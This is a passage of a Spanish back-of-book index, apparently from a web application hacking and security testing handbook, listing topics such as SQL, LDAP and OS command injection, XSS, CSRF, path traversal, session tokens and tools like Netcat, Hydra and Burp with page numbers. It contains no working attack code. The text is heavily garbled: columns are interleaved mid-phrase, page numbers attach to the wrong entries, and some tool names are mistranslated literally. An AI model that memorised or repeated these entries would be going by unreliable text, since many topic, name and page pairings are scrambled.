503 Servicio no Disponible, fuzzing, 572–573 fallas en la lógica

49 Burp Intruder, 600–602 de la aplicación de
Flash, 134–135 metodología de piratas autenticación,
código de bytes, informáticos, parámetro, credenciales 811–813, generación

141 /crossdomain.xml, 525–526 LSO, 824–827 suites de prueba integradas, automática, credenciales
553 política del mismo origen, 525–526 762–763 809–810, distribución no segura,
datos serializados, 137–138 propiedad JAttack, 588–590 credenciales 810–811,
de familia de fuentes, 518–519 objetivo, 586–587 transmisión no segura, suplantación
navegación forzada, fallas de lógica de cuerdas, 587 de identidad 810,
aplicación, 411 contraseña olvidada, 584 almacenamiento web inseguro 808–
atacantes que usan, 14 cadenas de 809, adivinación de contraseña 811,
G
formato vulnerabilidades atacantes, 644 calidad de contraseña 807,
encabezados generales,
causas, 643 detección, 644 metodología recuperación de contraseña 806 ,
45 mensajes de error genéricos, 628
de piratas informáticos, 838 código fuente, 807–808 funciones "recuérdame",
método GET, 42 propósito, 264
710 formularios 808
solicitud GET, 40 conversión XSS,
474–475 método getCurrentUserRoles,
comprensión, 805
261 archivos GIFAR, 485–486
enumeración de nombre de
Google, 89 resultados omitidos, 90
usuario, 806–807
consultas, 90 Traductor de
singularidad de nombre de usuario,
Google (GT), 530–531 Hacking de
HTML, 58–59 809 explotación de vulnerabilidad para
sombrero gris (Eagle & Harris &
autenticación, 160–161 control acceso no autorizado, 813
Harper & Ness), 634 GT. Ver
del usuario del lado del cliente inyección de solicitud de back-
Traductor de Google
entrada con, 127–133 end, 841 extensiones de navegador, 802–
transmisión de datos del lado del 804
cliente con elementos ocultos, Controles ActiveX, depurador
118–120 deshabilitados, 131–133 804, descompilación 803–
modificación de proxy de interceptación 804, desbordamiento de
oculta, búfer 802–803, lado del cliente
119–120 La 837–838
límites de longitud, 128–129 metodología del hacker transmisión de datos, 801

validación basada en scripts, controla el acceso inseguro, entrada de usuario, 801–802
129–131 funcionalidad 823 acceso limitado, 822– alcance de cookies, 820–821
web, 58–60 823 múltiples cuentas, 822 CSRF, 820
400 Solicitud incorrecta, 48 requisitos, 821 análisis mapeo DOM, inclusión de
técnicas de fuerza bruta, 84 de superficie de ataque, 800 archivos 849–850,
401 No autorizado, 48 técnicas puntos de entrada de datos, 799 vulnerabilidades de cadena de formato 835–836,
de fuerza bruta, 84–85 funcionalidad, 798–799 tecnologías, 838
403 Prohibido, 49 técnicas 799–800 fallas de lógica de aplicación parámetros de fuzzing, 824–827
de fuerza bruta, 84–85 superficie de ataque, 842 entrada directrices, 793–794
404 no encontrado, 49 incompleta, 843 funciones multietapa, Inyección de encabezado HTTP,
405 Método no permitido, 49 842–843 lógica de transacción, 844 fuga de información 830,
413 Entidad de solicitud también relaciones de confianza, 844 vulnerabilidades basadas en entrada 852,
grande, 49 asignación de aplicaciones, 795–798 824–836
414 URI de solicitud demasiado largo, parámetros de depuración, 798 funciones específicas, 836–841
49 contenido predeterminado, vulnerabilidades de enteros, 838
framebusting, ataques de reparación 797 enumeración de identificadores, Inyección LDAP, 839–840
de la interfaz de usuario, ataques a la privacidad local, 850–851
devoluciones de llamada de función 514– comprobaciones diversas, 849–852
515, secuestro de JavaScript, rutas errores de software nativo, 837–838
funcionales 520, páginas de aplicaciones vulnerabilidades de redirección abierta,
web versus, 93–96 830–831
797–798 Inyección de comandos del sistema operativo,
funcionalidad. Consulte las contenido oculto, 796–797 832–833
vulnerabilidades de entrada recursos de información pública, 796 vulnerabilidades de recorrido de ruta,

específicas de la función de la de tokens para sesiones, 818 833–835
funcionalidad web, la metodología contenido visible, 795–796 XSS reflejado, 829–830 póliza
de los piratas informáticos, 836–841 del mismo origen, 851–852
864 Índice n H–H
inyección de secuencias de descubrimiento de División de respuesta HTTP,

comandos, 835 transmisión contenido oculto, 80–93 534–535
insegura del token de gestión de sesiones, técnicas de fuerza bruta, 81–85 inferencia validación de entrada, 536
817 a partir de contenido publicado, 85–89 prevención, 536
divulgación del registro del sistema token, Inyección de parámetros HTTP (HPI),
817–818 Nikto, 93 390
tokens probados para el significado, información pública, 89–91 rastreo causas, 393–394
815–816 dirigido por el usuario, 81–83 HPP, 394–395
tokens probados para servidor web aprovechado Contaminación de parámetros HTTP (HPP) del
la previsibilidad, 816–817 para, 91–93 lado del cliente, 548–550
comprensión, 814–815 HPI, 394–395
fijación de Wikto, 92–93 HTTPRECON, 102
sesiones, 819 metodología de hackers, mapeo HTTPS, 49
finalización, 818–819 hosting de aplicaciones, 796–797 suites de pruebas integradas,
compartido, 845–846 interceptar proxies, 755–758
Inyección SMTP, 836–837 campos de formulario HTML ocultos
inyección de jabón, 839 transmisión de datos del lado del cliente función de inicio de sesión,
Inyección SQL, 827–829 con, 118–120 interceptando 170 ataques man-in-the-middle,
procedimientos almacenados, 831– modificación de proxy, 566–568
832 cifrados SSL débiles, 851 119–120 servidores proxy, 50

servidores web, 846–849 métodos parámetros ocultos, mapeo de aplicaciones, tokens de sesión, 234–236, 250
HTTP peligrosos, 847 contenido secuestro 96–97 Herramienta HTTPWatch, IE, 748
predeterminado, 847 Hydra, 785–786 hipervínculos,
credenciales predeterminadas, 846 JavaScript, 519–520 funcionalidad web, 58 lenguaje de marcas de
errores de software nativo, 848 E4X, 523–524 hipertexto (HTML). Véase también Modificación
funcionalidad de servidor proxy, devoluciones de llamada de funciones, 520 de controles HTML5 ActiveX, 557
JSON, 521
847 prevención, 524
hospedaje virtual, 847–848 asignación de variables, 522 fi ltros de derivación, 459–465
WAF, 848–849 áreas sesiones, 436 delimitadores de atributos, 461–462
de trabajo, 791–793 Holyfield, Brian, 138 controles nombres de atributos, 461 valores de
Inyección XPath, 840–841 de acceso horizontales, atributos, 462 conjuntos de caracteres,
Inyección XXE, 841 kit de 258 464–465 corchetes de etiquetas, 462–
herramientas para piratas escalamiento horizontal de privilegios, 259, 464 nombre de etiqueta, 460–461
informáticos, 747 scripts personalizados, 786–789 416 Encabezado de host, 41 hospedaje. codificación, 68–69 errores del
rizo, 788 Ver hosting compartido HP OpenView, 359 desarrollador, 494–495 formularios, 58–59
Netcat, 788–789 HPI. Ver inyección de parámetros HTTP autenticación, 160–161 control del lado
aturdimiento, 789 HPP. Ver HTML de contaminación de del cliente del usuario
wget, 788 parámetros HTTP. Consulte el lenguaje de
Chinche de fuego, 785 marcado de hipertexto HTML5 Ajax,
Hydra, 785–786 suites 487 controladores de eventos, 458 ataques entrada con, 127–133
de pruebas integradas, 751–773 de privacidad local, 554 política del transmisión de datos del lado del cliente
componentes, 752–769 mismo origen, 528–529 pseudoprotocolos con elementos ocultos, 118–120
tipos, 751 de script, 458 funcionalidad web, 64– deshabilitados, 131–133 modificación de
65 HTTP. Consulte el protocolo de proxy interceptor oculto, 119–120 límites
Nikto, 785 transferencia de hipertexto Causas de de longitud, 128–129 validación
navegadores web, 748–750 inyección de encabezado HTTP, 531–532 basada en script, 129–131
cromo, 750 cookies, 533 explotación, 532–535 inyección, dominio cruzado captura de
Firefox, 749–750 atacantes, 534–535 metodología de datos, 516–517 limitación XSS reflejada,
IE, 748–749 piratas informáticos, 830 495–496 código de script
Wikto, 785 introducido en
Hammad, Sherief, 322
Harper, Allen, 634
Harris, Shon, 634
Funciones HEAD, 43 estilos CSS evaluados dinámicamente,
método HEAD, 265 459 manejadores de eventos,
desbordamientos de almacenamiento dinámico, 635–636 457–458 pseudo-protocolos de script,
Heasman, John, codificación 458 etiquetas de script, 457
hexadecimal 634, 69–70
Índice n I–I 865
limitación XSS almacenada, 495–496 registros de aplicaciones, fijación de sesiones, 537–540

pares de etiquetas, XSS, 422 262 identifi cadores. Ver enumeración CSS, captura de datos entre
funcionalidad web con, 58 protocolo de de identificadores IE. Consulte la dominios, 517–519

transferencia de hipertexto (HTTP). herramienta Internet Explorer IEWatch, encabezado de correo electrónico, 398–399
Consulte también pruebas de controles 79, 748 If-Modified-Since, 128–129 If- HPI, 390
de acceso de inyección de encabezado None-Match, 128–129 iframe, 511–515 IIS, causas, 393–394
HTTP, 278 autenticación, 50–51 mensajes de error de Microsoft, 628 HTML, captura de datos entre
extensiones ISAPI, 688 vulnerabilidades dominios, 516–517
sesiones evitadas con, 208– transversales de ruta, 691–692 suplantación, Encabezado HTTP
209 benefi cios, 5 autenticación, 178–180 metodología de atacantes explotando, 534–535 causas,
cookies, 19, 47 piratas informáticos, 808–809 entrega en 531–532 cookies, 533 explotando, 532–
banda, XSS, 449–450 inducir acciones, 535 metodología del hacker, 830
transmisión de datos del lado del cliente, 501 solicitar falsificación CSRF,
121 8, 244, 251, 504–511 OSRF, 502–503
fichas de gestión de sesiones, 207–208, ataques de reparación de interfaz de División de respuesta HTTP,
234–236 huellas dactilares, 102 usuario, 508 , 511–515 forma básica, 511– 534–535
metodología de hackers, servidores web, 513 framebusting, 514–515 dispositivos validación de entrada, 536
847 encabezados móviles, 515 prevención, 515 variaciones, 513 validación de salida, 536
prevención, 536 lenguaje
interpretado, 288–290
mapeo de aplicaciones, puntos de LDAP, 349–354
entrada de entrada, 100–101 filtros de consultas conjuntivas, 352–

353
general, 45 solicitud, 45–46 respuesta,
46 suposiciones de seguridad, 123 explotación, 351–353
fallas, 353–354 metodología
del hacker, 839–840
HPI, 390
causas, 393–394 Cargas útiles de ataques XSS, 445–446 prevención, 354
divulgación de información de inferencia, vulnerabilidades, 350–351
HPP, 394–395 del
lado del cliente, 548–550 626–627 motores de búsqueda, 626 función de inicio de sesión omitida,
288–290
ataques de intermediario, 566–568
NoSQL, 342–344
mensajes, 40–42 Inyección SQL, 319–324 bucles MongoDB, 343–344

infinitos, 29 divulgación de Comandos del sistema operativo,
métodos, 42–44
información 358–368 ASP.net, 360–361
orígenes, 39 servidores
mensajes de error, 615–625 ejecución de código dinámico, 362
proxy, 49–50 solicitudes, 40–
genérico, 628 inferencia, 626– ejecución de código dinámico,
41 disección, 107–108
627 fugas del lado del cliente, vulnerabilidades, 366–367 fallas,
fuentes de entrada, 52 629 prevención, 627–629 363–366 metodología de hackers, 832–
833
URL, 40, 42
respuestas, 41–42
proteger, 628–629 metacaracteres, 420
división, 534–535
contenido publicado, 625 fuga lenguaje Perl, 358–360
redirección del lado del servidor,
de información, 8 prevención de prevención, 367–368
390–392
autenticación, metacaracteres de shell, 363, 365 código
explotando, 391–392 195-196 fuente, 708 espacios, 366 retardo de
SSL y, 49
metodología hacker, 852 tiempo, 363–364 metodología de piratas
códigos de estado, 48–49
divulgación de información informáticos, 835 vulnerabilidades de
enumeración de identificadores, 574
lado del cliente, 629 prevención,
Protocolo TCP, 40
prevención, 627–629
prueba de hipótesis, estadística, 219–222
esquema de información, 309–310 vector de
inicialización (IV), 685 solicitud de back-end 368
de inyección, 841 lado del cliente, 531–550 SMTP, 397–402

yo
fallas, 400–401
campo ID, 295 metodología del hacker,
IDA Pro, 153 SQL, código 547– 836–837
iDefense, 558 548, cookie 288 prevención, 402
controles de acceso a funciones JABÓN, 386–388
basadas en identificadores, 261–262 métodos del atacante, 536–537 aplicación bancaria, 387–388
866 Índice n J–J
mensajes de error, 388 ciego, 347–348 metodología de piratas informáticos,

búsqueda y explotación, 389 fallas, 348–349 838 desbordamientos, 640–641
metodología del hacker, 839 metodología del hacker, errores de firma, 641–642 código
prevención, 27, 390 840–841 fuente, 709–710 fuzzing de suites de
SQL, 7, 14 informado, 346–347 pruebas integradas, 762–763 juego de
explotación avanzada, 314–324 prevención, 349 entrada. herramientas de piratas informáticos,
Consulte también el enfoque de 751–773 componentes, 752–769
Métodos API, fallas de "aceptar bien conocido" de la tipos, 751 proxies interceptores
lógica de aplicación 291, entrada del usuario, 24
420–422 asignación de aplicaciones, puntos de
ciego, 626 errores, entrada para encabezados alternativas, 771–773
298–302 lado del HTTP, 100–101 canales fuera de características comunes, 758–759
cliente, 547–548 nombre banda, 101 parámetros de solicitud, HTTPS, 755–758
de columna, 301–302 errores 99 rutas de archivos de URL, 98–99 configuración del navegador web, 752–
condicionales, 320–322 componentes 755
de código de base de datos, 741–742 aplicaciones de blog, 22 herramientas de solicitud manual, 765–
defensa en profundidad, 342 validación de límites, 25–28, 767 funciones y utilidades compartidas,
313 768–769
Instrucciones DELETE, 297–298 guión canonicalización, 28–29 analizadores de tokens compartidos, 767
doble, 293 mensajes de error, 334–338 mecanismos de defensa, 21–29 Datos de manipulación, 772
herramientas de explotación, 328–331 aproximaciones a, 23–25 TamperIE, 772–773
omisión de filtros, 311–313 bases de fi ltros, vulnerabilidades de escáneres de vulnerabilidades, 764–765
datos de huellas dactilares, 303–304 recorrido de rutas, metodología independientes, 773–784 web spidering,
metodología de hackers, 827–829 de piratas informáticos 374–377, fallas 760–762 flujo de trabajo, 769–771 evolución
inferencia, 319–324 validación de lógica de aplicación e de interceptación de proxies, 751 alternativas
de entrada incompleta, inserción 843, XSS de suites de pruebas integradas, 771–773
almacenado, reflejo características comunes, 758–759
XSS eliminando
peligroso, 495
eludido, 312 validación de varios pasos, 28–29
INSERTAR sentencias, 295–296 enfoque de "rechazar mal conocido", HTTPS, 755–758
Errores de JavaScript, 299 23–24 configuración del navegador web, 752–
datos numéricos, 299–301, 315– enfoque de manejo seguro de datos, 755
316 25 Internet. Ver World Wide Web
Cláusula ORDER BY, 301–302 canal enfoque de desinfección, 24–25 Internet Explorer (IE), 239, 459 fi ltros anti-
fuera de banda, 316–319 consultas verificaciones semánticas, 25 validación, XSS, 748 mensajes de error, 622
parametrizadas, 21–22, 313
339–341 fallas en la lógica de la aplicación Herramienta HTTPWatch, 748
prevención, 27, 338–342 que invalidan, 420–422 eluden, Herramienta IEWatch, 79,
estructura de consulta, 301–302 312 748 XSS reflejado, 435
segundo orden, 313–314 XSS basado en DOM, 497 TamperIE, 772–773
Instrucciones SELECT, 294–295 código Inyección de encabezado HTTP, 536 userData, 554 kit de
fuente, 705–706 datos de cadena, 298– problemas, 26 XSS almacenados, XSS herramientas para hackers de
299 sintaxis, 332–334 retardos de reflejado, aplicaciones web, 748–749
tiempo, 322–324 492–493 Filtro XSS, 479–481
variedades, 21–23 Foros de Internet, información

pública, 91 inyección de
Operador de UNION, 304–308 vulnerabilidades basadas en entradas,
Extracción de datos del metodología de hackers, lenguaje interpretado, 288–290
operador UNION, 308–311 824–836
ACTUALIZAR declaraciones, 296–297 función específica, 836–841 Disponibilidad de dirección IP, 100 IV.
INSERTAR sentencias Ver vector de inicialización
Codificación de URL, explotación
de vulnerabilidades 300–301, Inyección SQL, 295–296
292–294 Cláusula WHERE, 295
Troyano, cargas útiles de ataque XSS, seguro, fallas en la lógica de la J Jad, Java, 141
444–445 aplicación, 412–413 causas de descompilación, 148–150
XML, 383–390 vulnerabilidades enteras, 640 detección, archivos .jad, 148–150
XXE, 384–386, 841 642–643 archivos .jar, 141 JAttack
XPath, 344–349
Índice n K–L 867
recopilación de datos, 585–586 prevención, 524 Acceso ligero a directorios

enumeración de identificadores, asignación de variables, 522 Filtros de protocolo
577–583 función de función $js, 344 límites de longitud, (LDAP), 350 inyección,
extracción, 598 fuzzing, 588–590 471 registro de pulsaciones de 349–354 filtros de
fuerza, 590 teclas, 560 vulnerabilidades de consultas conjuntivas,
redirección abierta, 546 escaneo de 352–353
Java puertos, 561, 566 código de consultas disyuntivas filtros, 351
métodos API secuencias de comandos omisión explotación, 351–353 fallas, 353–354
acceso a base de datos, 714– de filtros usando VBScript y, 467–468 metodología de hackers, 839–840
715 ejecución de código dinámico, 715 prevención, 354 vulnerabilidades, 350–
acceso a archivos, 713 351 usos, 349–350
Ejecución de comandos del SO, Inyección SQL, errores en, 299
715–716 potencialmente aplicaciones de terceros utilizadas
peligrosa, 713–716 sockets, 716 actualmente, 560–561
funcionalidad web, 61 Linder, Félix, 634
XSS, 436–438 Litchfield, David, 320, 327, 693
redirección de URL, 716 XSS explota la ejecución, en respuestas comando LOAD_FILE, 328 inclusión
applets, 134 descompilación XML, 478–479 de archivos locales, 382 arquitecturas
de extensiones de navegador, Notación de objetos de JavaScript en niveles, 652–654 autocompletado
146–150 código de bytes, (JSON) de ataques de privacidad locales, 552
141 depuradores, 151–152 mensajes solicitudes entre dominios, historial de navegación, 552
de error, 628 477
Secuestro de JavaScript, 521 Flash LSO, 553

Jad, 141 funcionalidad web, 63 JavaSnoop, metodología de hackers, 850–851
descompilación, 148–150 151–152 Servidor de aplicaciones HTML5, 554
política del mismo origen, 527 JBoss, 674–676 Jetty, 218 Dump IE userData, 554
configuración de seguridad, 716–717 Servlet, 672 Gusano Jitko, cookies persistentes, 550
datos serializados, 136–137 interacción 530–531 Función $js, JavaScript, prevención, 554–555
de sesión, 712–713 terminología, 53 344 JMX, 674–676 JRun, Allaire, Almacenamiento aislado de Silverlight, 553
arquitecturas en niveles, 648 entrada de 690 –691JSON. Ver Objeto pruebas, 550
usuario, 711–712 JavaScript Objetos compartidos locales (LSO), 553

Encabezado de ubicación, 531–532
métodos API, 712 enumeración de identificadores, 575

controles de acceso basados en la
contenedor web, 53
Notación ubicación, 266 registro de pulsaciones
funcionalidad web, 53–54 Java
Extensión de archivo .jsp, 107 de teclas, 560 lógica. Ver fallas en la lógica
Servlet, 53 Java Virtual Machine
JSwat, 151–152 JVM. Ver de la aplicación función de inicio de sesión,
(JVM), 134 vulnerabilidades del software del
servidor web, 690 java.io.File, 713 Máquina Virtual Java 18–19, 160 suspensión de la cuenta, 197–
java.net.Socket, 716 robo del 198 fallas en la lógica de la aplicación, 426–
historial de navegación de JavaScript, 560 k 427 condiciones de carrera, 427
cliente -lado, validación con, 130–131, 156 Kamkar, Samy, 219

atacantes, 164–165
descompilación de extensiones de navegador, pulsaciones de teclas, registro, 560
autenticación por fuerza
manipulación de código de bytes original, Klein, Amit, 248
144 DOM, 440 métodos API bruta, 162–165 mensajes de
basados en DOM, 740 escape, código de error detallados,

L 166–169
script que pasa por alto los filtros,
Servidor LAMP, 650–651, 666 concurrentes, 250
465–466 secuestro, 519–520 E4X, 523–
idiomas. Consulte enfoque de carga cookies, 163 fallas al
524 devoluciones de llamada de
funciones, 520 JSON, 521 diferida de lenguaje interpretado, abrir, 185–186, 194
transmisión de datos, 626 LDAP. HTTPS, 170
Consulte Fugas del Protocolo omisión de inyección, 288–290
ligero de acceso a directorios. Consulte la multietapa, 186–190, 194–195
información sobre los límites de longitud atacantes, 188 mito común, 187
de fuga JavaScript, 471 reflejado XSS, 471– propósito, 186–187 preguntas
473 Ley, Jim, 444 aleatorias, 189–190, 194–195 desafío
secundario, 173, 200
868 Índice n M–O
preguntas secretas, 189 mensajes de error, 334–338

administración de sesiones, 206 canales fuera de banda, 317 Cifrado .NET, Oracle
tokens, 539–540 diferencias de sintaxis, 332–334 de relleno 686, formato
tiempo, 168–169 enumeración de comando WAITFOR, 322–323 controles binario .NET 685–687 para SOAP (NBFS),
nombres de usuario, 166–169 de acceso a funciones de múltiples etapas, 138 Netcat, enrutador NETGEAR
262–263 pruebas, 271–273 aplicación 788–789, divulgación de red 562, tokens
función de cierre de sesión, gestión bancaria, 263 metodología de piratas de sesión, hosts de red 234–237,
de sesiones, 242, 250 registros. informáticos, fallas en la lógica de la atacantes, perímetro de red 561–562 ,
Consulte la divulgación del registro del sistema, aplicación, 842–843 inicio de sesión, seguridad de aplicaciones web y
fichas de sesión 186–190, 194 atacantes, 188 nuevo, 12–14 método nextPayload, 578
LSO. Ver objetos locales compartidos mito común, 187 propósito, 186– NGSSoftware, 640 Nikto
187 preguntas aleatorias, 189–190,
194–195 validación de varios pasos,
M
entrada, 28–29
macros, solicitud, 604–606
directiva magic_quotes-gpc, 734
kit de herramientas del

comando mail(), 398–399 servicios de
hacker, 785 contenido
correo. Ver correo electrónico; Ataques de
oculto, 93 maximizar la eficacia, 797
intermediario de inyección SMTP,
MySpace, XSS almacenado, 442–443, servicios no HTTP, 562–563
herramientas de solicitud manual 566–568,
446 Ventajas
suites de prueba integradas, mapeo
Atacantes de NoSQL, 343
765–767. Ver mapeo de aplicaciones
de MySQL, 328 almacenes de datos, 342–
Mavituna, Ferruh, 566 McDonald, John,
comentarios, 303–304, 312 343 inyección, 342–344
634 atacantes de tokens significativos, 212
doble guión, 293 mensajes de MongoDB, 343–344
administración de memoria, software
error, 334–338 canales fuera de función notNetgear, 562 comando
de servidor web, 687–689 metacaracteres,
banda, 319 vulnerabilidades nslookup, 365
inyección de comandos del sistema operativo,
transversales de ruta, 651 protocolo NTLM, 50
420. Ver también metacaracteres de shell
Atacantes de
función de suspensión, bytes NULL, 23–24
323 sintaxis, 332–334 WAF, 460
extracción de arquitecturas en niveles, XSS, 460
650–652 Valor NULL, 306–307 datos
UDF, 328 numéricos
Microsoft. Véase también Internet
límites, 417
Explorador
Inyección SQL en, 299–301, 315–316
Rompecabezas de Asirra, 612 N
esquemas de
Mensajes de error de IIS, 628 nomenclatura asignación de
Extensiones ISAPI, 688 aplicaciones, 85–86 ejercicio de O
vulnerabilidades transversales de ruta, fuerza bruta, 88 identificación, 87 ofuscación
691–692 seguridad, 431–432 recursos estáticos, 87 componentes bytecode, descompilación de extensiones
de cliente nativos, 153 desbordamiento de navegador, 144–146 esquemas
Plantilla activa SiteLock de búfer de aplicaciones compiladas personalizados, 109 OCR. Ver
Biblioteca, 559 nativas, 634–640 ejemplos, 633 reconocimiento óptico de caracteres ODBC.
dispositivos móviles vulnerabilidades de cadenas de Ver conectividad de base de datos
aplicaciones, 4 formato, 643–644 vulnerabilidades de abierta fuera de las vulnerabilidades, 636–638
Ataques de reparación de enteros, 640–643 pruebas para, OllyDbg, 153 Resultados omitidos,
interfaz de usuario, 515 mod_isapi, 633–634 errores de software nativos Google, 90 100 Continuar, 48 falsificación de
Apache, 688 mod_proxy, Apache, 688 metodología de piratas informáticos, 837– solicitud en el sitio (OSRF),
MongoDB, inyección NoSQL, 343–344 838
Método MOVE, 679–680 servidores web, código

Atacantes de bases de fuente 848, 709–710 NBFS.
datos MS-SQL, 326–327 Consulte el formato binario .NET para el 502–503
explotación automatizada, 330 método de precio negativo SOAP, atributos onsubmit, 130 atacantes
consultas por lotes, 317 bloqueo 120 Ness, Jonathan, 634 de datos opacos, 124
predeterminado, 326–327
Índice n P–P 869
transmisión de datos del lado del cliente, Lista de exclusión de PL/SQL, cambiar funcionalidad, 171–172,
123–124 676–677 193
conectividad de base de datos abierta omisión de filtro de software de fallas en la lógica de la aplicación,
(ODBC), 624 servidor web, 692–694 409–410
causas de vulnerabilidades de redirección servidor web, 676–677 uso indebido,

abierta, 540–541 encontrar y explotar, El manual del hacker de Oracle 199 nombre de
(Litchfield), 693 usuario, 172 almacenamiento de
542–546 oráculos. Véase la cláusula ORDER BY texto claro, 190–191 olvidado, 14,
metodología del hacker, 830–831 JavaScript, del oráculo de cifrado, 295 584 funcionalidad, 173–175
546 prevención, 546–547 ataques rickrolling, Inyección SQL, 301–302 adivinanzas, 160 técnicas, 163–164
541 código fuente, 707–708 URL, 542 prefijo Encabezados de origen, 528–529 metodología de piratas informáticos,
absoluto, 545–546 bloqueo absoluto, 544– Comandos del sistema operativo. Consulte autenticación adivinanzas, 807
los comandos del sistema operativo calidad, 806 función de
545 entrada del usuario, 543–544 OpenLDAP,
352 funcionamiento comandos del sistema OSRF. Consulte la falsificación de solicitudes in recuperación, 807–808
situ de otros atacantes de usuarios, 431–432 sugerencias, 174, 200 iniciales
(comandos del sistema operativo)
canales fuera de banda predecibles, 183 del mundo real, 163
mapeo de aplicaciones, puntos de
entrada de entrada, 101
bases de datos ms-sql, 317
mysql, 319 recuperación

Bases de datos de Oracle, 317–318 desafíos, 173–174
Métodos de la API de ASP.NET,
722–723 Inyección SQL, 316–319 no metodología de piratas
disponible, 319 informáticos, autenticación, 807–
inyección, 358–368
ASP.net, 360–361 entrega fuera de banda, XSS, validación de 808 sugerencias, 200 uso indebido, 199–
salida 450 200 desafío secundario, 200 URL de
ejecución de código dinámico,
362 XSS basado en DOM, 497–498 tiempo limitado, 174–175 requisitos, 192
Inyección de encabezado HTTP, 536 reinicio, 175 generado por el sistema, 192
ejecución dinámica de código,
XSS almacenado, XSS reflejado, 493– truncado, 180–181 débil , 161–162 cookies
vulnerabilidades, 366–367 fallas,
495
363–366 metodología de hackers, 832– de restricción de rutas, 247–248
833 metacaracteres, 420 vulnerabilidades transversales de rutas
Ataque de oráculo de
Lenguaje Perl, 358–360 relleno P , 626 .NET,
prevención, 367–368 685–687 parámetro
metacaracteres de shell, 363, 365 código Apple iDisk Server, 690 asignación
pageid, 598 controles de acceso
fuente, 708 espacios, 366 retardo de de aplicaciones, 371 atacantes
basados en parámetros, 265–266 condiciones
tiempo, 363–364 de consultas parametrizadas, 341 inyección sorteando obstáculos, 374–377 con
SQL, 339–341 parámetros mapeo de aplicaciones, éxito, 374 objetivos, 370–371

Métodos de la API de Java, 715–716
puntos de entrada de entrada, 99 ocultos,
Métodos API del lenguaje Perl, 738 mapeo de aplicaciones, 96–97 URL,
transmisión de datos del lado del cliente, 121–
Métodos PHP API, 731 causas, 368–369
122 método parseResponse, 585, 589
reconocimiento óptico de caracteres escaneo pasivo, 764–765 contraseñas sistema de archivos chroot, 380–381
(OCR), 611 codificación personalizada, 377–378
OPCIONES funciones, 43
detección, 372–374 prueba inicial, 372
Método de OPCIONES, 679–680
explotación, 379 búsqueda, 370–378
Solicitud OPCIONES, 528 metodología de hackers, 833–835 filtros de
Atacantes
entrada, 374–377
de bases de
datos Oracle, 327
11g, 318 mensajes Microsoft IIS, 691–692

de error, 334–338 canales fuera de atacantes de controles de acceso
MySQL, 651
banda, 317–318 recolección, 275–276 puerta prevención, 379–381 código
trasera, 178–179 código fuente, 708 fuente, 706–707 sutileza, 370
sintaxis, 332–334 técnicas de fuerza bruta para wiki,
retardos de tiempo, 323–324 424 UNIX comparado con Windows, 374

Operador de UNIÓN, 307–308
870 Índice n Q–R
entrada del usuario, 379–380 Lista de exclusión de PL/SQL, Oracle, 676– captura de datos
Industria de tarjetas de pago (PCI), 7 677 entre dominios de servicios proxy, 529–
lenguaje Perl omisión de filtro de software de 531
métodos API servidor web, 692–694 GT, 530–531
acceso a base de datos, 737–738 POJO. Consulte Escaneo de puertos de Gusano Jitko, 530–531
ejecución de código dinámico, 738 objeto Java antiguo simple, Java Script, 561, información pública
acceso a archivos, 737 566 método POST, 43, 192 propósito, mensajes de error, 623
Ejecución de comandos del sistema 264 metodología de hackers, mapeo
operativo, 738 potencialmente peligroso, de aplicaciones, 796 descubrimiento
736–739 Solicitud POST de contenido oculto con, 89–91
enchufes, 739 Encabezado de longitud de contenido, 581
Redirección de URL, 738 Conversión XSS, 474–475 Foros de Internet, 91
función de evaluación, 362 PostgresSQL, 323 motores de búsqueda para,
Inyección de comandos del sistema Encabezado Pragma, 42 89 archivos web para, 89–90
operativo a través de, 358–360 contraseñas iniciales predecibles, contenido publicado
configuración de seguridad, 739–740 183–184 mensajes de error, 625
interacción de sesión, 736 metacaracteres tokens predecibles, 213–223 Burp descubrimiento de contenido oculto con
de shell, 360 entrada de usuario, 735–736 Intruder, 213–214 secuencias inferencia de, 85–89 divulgación de
tokens por página, 252–253 cookies ocultas, 213–215 dependencia del tiempo, información, 625
persistentes, 550 ataques de phishing, 541, 215–217 generación débil de números PONER funciones, 43
707 aleatorios, 218–219 calidad de prueba, Método PUT, 679–680
219–223 función preg_replace, 730
PHP declaraciones preparadas, 339–341
métodos API ataques a la privacidad . Consulte los
Parámetro de cantidad Q ,
acceso a base de datos, 729–730 almacenes de datos de privilegios de
restrictivo, 128 consultas
ejecución de código dinámico, 730– ataques de privacidad locales, 287 DBA, 325–
731 acceso a archivos, 727– 326 escalada
CGI, 735–736 fi
729
ltros conjuntivos, 350
Ejecución de comandos del sistema
Inyección LDAP, 352–353
operativo, 731 potencialmente peligrosa,
727–732 sockets, 732 fi ltros disyuntivos, 350
Inyección LDAP, 351
horizontal, 258, 416 vertical,
condiciones parametrizadas,
Redirección de URL, 731–732 258, 416 modelo multicapa
341
función de evaluación, 362 controles de acceso seguridad,
Inyección SQL, 339–341
vulnerabilidades de inclusión de archivos,
381–382 motores de búsqueda, 90
280–283
Consultas SELECT, operador
comando mail(), 398–399 modo seguro, atacantes, 283
UNION, estructura 304–
666 configuración de seguridad, 732– campo privado, 295
305, inyección SQL, 301–302
735 directiva magic_quotes-gpc, 734 procediendo a pagar,
directiva register_globals, 733 directiva fallas en la lógica de la aplicación,
safe_mode, 733–734 interacción 410–411 controles de acceso
de sesión, 727 arquitecturas en niveles, programáticos, 282 método PROPFIND,
653–654 entrada de usuario, 724– 679 registros de historial de proxy, Condiciones de carrera R ,
727 funcionalidad web, 54–55 extensión 769–771 servidores proxy. Ver también 427 Rails 1.0, 55 RBAC.
de archivo .php, 108 phpinfo.php, Vea el control de acceso basado en
672 comando ping, 364 PKC # 5 relleno, roles en el mundo real
685 CBC, 686–687 Plain Old Java Object interceptar proxies
(POJO), metodología de piratas informáticos, fallas en la lógica de la aplicación, 406–407
servidores web, 847 formulario Fallo CSRF, 505
HTML oculto contraseñas, 163
modificación con XSS, 442–443
intercepción, 119–120 recompilación, código fuente a código
HTTP, 49–50 de bytes dentro del navegador,
HTTPS, 50 142–143
invisibles, 138
53 servidores web como, 682–683 navegador externo, 143
Índice n S–S 871
ataques de redirección. ver abierto CSRF, 8, 244, 504–511 puerta trasera deliberada, 660–661
vulnerabilidades de redirección tokens anti-CSRF, 508–509, 516–517 enumeración de identifi cadores, 576–577
controles de acceso basados en referencias, 266 autenticación, 507–508 mensajes de error, 616–617 juego
Encabezado de referencia, 41–42 explotar fallas, 506–507 metodología de herramientas personalizado para piratas
transmisión de datos del lado del cliente, de piratas informáticos, 820 prevenir informáticos, 786–789
122 fallas, 508–510 fallas del mundo real,
Firefox, 239 505 gestión de sesiones, 251 rizo, 788
Explotación de XSS vía, 475–476 XSS Netcat, 788–789
